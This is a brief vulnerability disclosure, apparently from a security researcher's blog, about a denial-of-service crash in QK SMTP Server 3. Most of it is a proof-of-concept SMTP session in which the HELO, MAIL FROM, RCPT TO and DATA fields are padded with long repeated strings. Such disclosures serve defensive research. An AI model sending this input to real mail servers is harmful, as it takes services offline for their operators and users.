QK SMTP Server 3 - Denial of service

Apparently this SMTP server crashes when creating a mail poorly trained causing a denial of service.

Proof-of-concept

HELO …/A/ * 950
MAIL FROM: …/A/ * 950
RCPT TO: …/A/ * 950
data
…/A/ * 950
.

Juan Pablo Lopez Yacubian
http://fuzzertina.blogspot.com/